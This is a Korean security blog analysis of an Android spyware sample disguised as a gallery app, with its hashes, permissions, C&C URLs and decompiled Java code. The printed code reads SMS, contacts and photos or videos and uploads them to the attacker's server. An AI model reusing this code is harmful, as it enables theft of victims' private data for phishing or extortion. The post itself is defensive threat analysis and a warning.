오늘은 안드로이드 악성코드인 갤럭리.apk 에 대해 글을 적어보겠습니다. 일단 해당 안드로이드 악성코드는 기본적으로 해당 악성코드는 개인적인 추측으로는 스마트폰에 있는 개인정보를 수집해서 보이스피싱 또는 몸캠으로 이용을 하지 않을까 생각이 됩니다.
보이스 피싱으로 사용을 하려고 사용이 되지 않을까 생각이 됩니다. 물론 몸캠이 가능성이 크지 않을까 생각이 됩니다.
일단 기본적으로 해당 악성코드는 동영상 및 사진 업로드 및 훔치기, 문자(SMS) 훔치기, 연락처 훔치기, C&C 서버 및 원격 조작 위치로 구성돼 있고 기본적으로 안드로이드 만들 때 소스를 보면 중국어가 있는 것으로 보면 아마도 중국에서 제작된 것이 아닐까 생각이 됩니다.
먼저 해당 악성코드를 실행하면 모든 권한을 다 허용을 해주고 나서 실행을 하면 오류: 전산처리 중인 입급내역금액감지 라는 부분이 메시지가 뜨는 것을 볼 수가 있습니다. 이렇게 보면 금융관련보이스피싱 앱 같기도 합니다.
일단 해당 앱의 해쉬값은 다음과 같습니다.
해시 값
MD5:255ae7235bb63ee99db279a32b42cb38
SHA-1:51e15e510488fd6a5dde19748b26968afbf5b1c2
SHA-256:f9cd2435f3d468336ec42492e5a2be9d3f2098961bf0f256d05faa03ca6980c5
갤러리.apk(2020.10.21) 실행 화면
그리고 악성코드가 요구하는 권한은 다음과 같습니다.
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
갤러리.apk(2020.10.21) 아이콘
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
그리고 안드로이드 권한은 android.permission=??로 돼 있는 것이 안드로이드 권한입니다. 보시면 외장디스크에도 접근하는 것을 볼 수가 있습니다. 이유는 계속 적어보겠습니다.
갤러리.apk(2020.10.21) 안드로이드 권한
악성코드 액티브
com.open.studyvideo.MainActivityBak
com.yanzhenjie.permission.PermissionActivity
악성코드 서비스
com.open.studyvideo.RunService
Receivers
com.open.studyvideo.receiver.SmsReceiver
com.open.studyvideo.receiver.AutoRunReceiver
입니다. 여기서 스마트폰에 있는 동영상, 사진 등을 훔쳐서 몰래 서버로 올리게 돼 있습니다.
com.open.studyvideo.MainActivityBak 화면
동영상 및 사진 업로드 및 훔치기
F}
HashMap<Object, Object> hashMap1 = new HashMap<Object, Object>();
hashMap1.put("upload", file);
HashMap<Object, Object> hashMap2 = new HashMap<Object, Object>();
hashMap2.put("phone", this.a);
hashMap2.put("time", String.valueOf(album.getAddTime()));
Result result = (Result)this.c.a(b(), hashMap2, hashMap1, Result.class, null);
i = j;
if (result != null) {
i = j;
if (result.isSuccess()) {
c.a(this.b, album.getId());
i = j;
}
}
}
}
d = System.currentTimeMillis();
return true;
} catch (Exception exception) {
exception.printStackTrace();
return true;
}
}
protected String b() {
return "http://api082803.seemonitor.xy?/uploadAlbum.htm";
}
}
스마트폰 동영상 및 사진 업로드 및 훔치기그리고 스마트폰에 있는 문자(SMS)를 훔치는 부분은 다음과 같습니다.
문자(SMS) 훔치기
public List<Message> a(String paramString) {
ArrayList<Message> arrayList = new ArrayList();
try {
Cursor cursor = this.b.getContentResolver().query(Uri.parse("content://sms/"), new String[] { "_id", "address", "person", "body", "date", "type" }, null, null, "date desc");
int i = 0;
if (cursor.moveToFirst()) {
int j = cursor.getColumnIndex("person");
int k = cursor.getColumnIndex("address");
int m = cursor.getColumnIndex("body");
int n = cursor.getColumnIndex("date");
int i1 = cursor.getColumnIndex("type");
while (true) {
cursor.getString(j);
String str1 = cursor.getString(k);
String str2 = cursor.getString(m);
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
Date date = new Date(Long.parseLong(cursor.getString(n)));
simpleDateFormat.format(date);
String str3 = (new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")).format(date);
if (cursor.getInt(i1) == 1);
Message message = new Message();
message.setPhone(paramString);
message.setReceiverPhone(str1);
message.setSenderPhone(str1);
message.setSendTime(str3);
message.setContent(str2);
arrayList.add(message);
int i2 = i + 1;
boolean bool = cursor.moveToNext();
......
protected String b() {
return "http://api082803.seemonitor.x?z/uploadSms.htm";
}
}
스마트폰 문자(SMS) 훔치기
그리고 연락처 훔치는 부분은 다음과 같습니다.
public class b {
public static ArrayList<MyContacts> a(Context paramContext) {
ArrayList<MyContacts> arrayList = new ArrayList();
Cursor cursor = paramContext.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
while (cursor.moveToNext()) {
MyContacts myContacts = new MyContacts();
String str = cursor.getString(cursor.getColumnIndex("_id"));
myContacts.setName(cursor.getString(cursor.getColumnIndex("display_name")));
ContentResolver contentResolver = paramContext.getContentResolver();
Uri uri = ContactsContract.CommonDataKinds.Phone.CONTENT_URI;
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append("contact_id=");
stringBuilder.append(str);
Cursor cursor1 = contentResolver.query(uri, null, stringBuilder.toString(), null, null);
while (cursor1.moveToNext())
myContacts.setPhone(cursor1.getString(cursor1.getColumnIndex("data1")).replace("-", "").replace(" ", ""));
arrayList.add(myContacts);
cursor1.close();
}
cursor.close();
return arrayList;
}
}
스마트폰 연락처 훔치기
C&C 서버 및 원격 조작 위치는 다음과 같습니다.
public class f extends a {
protected String b() {
return "http://api082803.seemonitor.xy?/sychonizeUser.htm";
}
C&C 서버 및 원격 조작 위치
중국 로그는 다음과 같습니다.
private void b(Context paramContext) {
String str;
NetworkInfo networkInfo = ((ConnectivityManager)paramContext.getSystemService("connectivity")).getActiveNetworkInfo();
d.a("############);
if (networkInfo == null) {
str = "";
} else {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append("******);
stringBuilder.append(networkInfo.getTypeName());
d.a(stringBuilder.toString());
if (1 == networkInfo.getType()) {
a("");
a(true);
return;
}
if (networkInfo.getType() == 0) {
str = b.a((Context)str);
} else {
return;
}
중국어 로그
그리고 해당 APK에 들어가 져 있는 중국어를 구글 번역기 돌리면 다음과 같은 결과를 얻을 수가 있습니다.
중국어 번역
当前网络状态改变:현재 네트워크 상태 변경
当前活动网络为:현재활성화 네트워크
입니다.
C&C 서버 및 원격조작 주소는 다음과 같습니다.
http://api082803.seemonitor.xy?/sychonizeUser.htm
http://api082803.seemonitor.xy?/uploadAlbum.htm
http://api082803.seemonitor.xy?/uploadSms.htm
http://api082803.seemonitor.xy?/uploadContact.htm
스마트폰에서 개인정보 훔치는 내용
SMS(문자)
contacts(연락처)
media(사진 및 동영상)
C2 서버:api082803.seemonitor.xy?
스마트폰 개인정보 업로드 홈페이지
그리고 웹사이트 도메인 위치는 다음과 같습니다.
도메인 위치
IP: Api082803.seemonitor.xy?
Continent:North America (NA)
Country:United States
IP Location Find In United States (US)
Capital:Washington
State:Unknown
City Location:Unknown
ISP:CloudRadium L.L.C
Organization:CloudRadium L.L.C
AS Number:AS33330 CloudRadium L.L.C
Time Zone::America/North_Dakota/Center
스마트폰 개인정보 업로드 홈페이지 서버 국가
예전에는 홍콩이었는데 미국으로 변경된 것을 확인할 수가 있었습니다. 그리고 접속을 해보면 아이디, 비밀번호를 입력하라고 하는데 일단 아무겠나 눌러서 접속되지 않고 해당 부분은 악성코드 제작자들이 운영하는 곳인 것 같습니다.
언제나 이런 글을 쓰면 적는 말이지만 공식스토어 에서도 악성코드가 있는데 외부 사이트에서 받은 외부 APK 파일은 설치하지 않는 것이 좋으며 그리고 백신 앱은 설치를 해서 운영하는 것이 좋은 방법일 것입니다.
그 일단 구글 크롬, 파이어폭스 등이 악성코드 유포 사이트 및 피싱사이트 차단을 받는 서비스인 세이프브라이징에서는 일단 탐지가 되지 않아서 신고했습니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
윈도우 10 응답 없음 문제 해결을 하는 선택적 업데이트 KB4580364 발표 (5) | 2020.10.31 |
---|---|
네이버 계정을 탈취하는 피싱 사이트-wanduzi duckdns (12) | 2020.10.30 |
건강검진 사칭 스미싱 안드로이드 악성코드-검진모아(2020.10.20) (2) | 2020.10.29 |
모질라 파이어폭스 82.0 보안 업데이트 (2) | 2020.10.23 |
마이크로소프트 RCE 버그에 대한 대역 외 Windows 보안 업데이트 발표 (0) | 2020.10.20 |
스마트폰 악성코드 보이스 피싱앱-농협캐피탈(2020.10.14) (4) | 2020.10.19 |
윈도우 10 KB4579311 정기 보안 업데이트 (4) | 2020.10.16 |
Internet Explorer(인터넷 익스플러워) 2020년 11월 Microsoft 계정 및 앱에 대한 지원 종료 (4) | 2020.10.15 |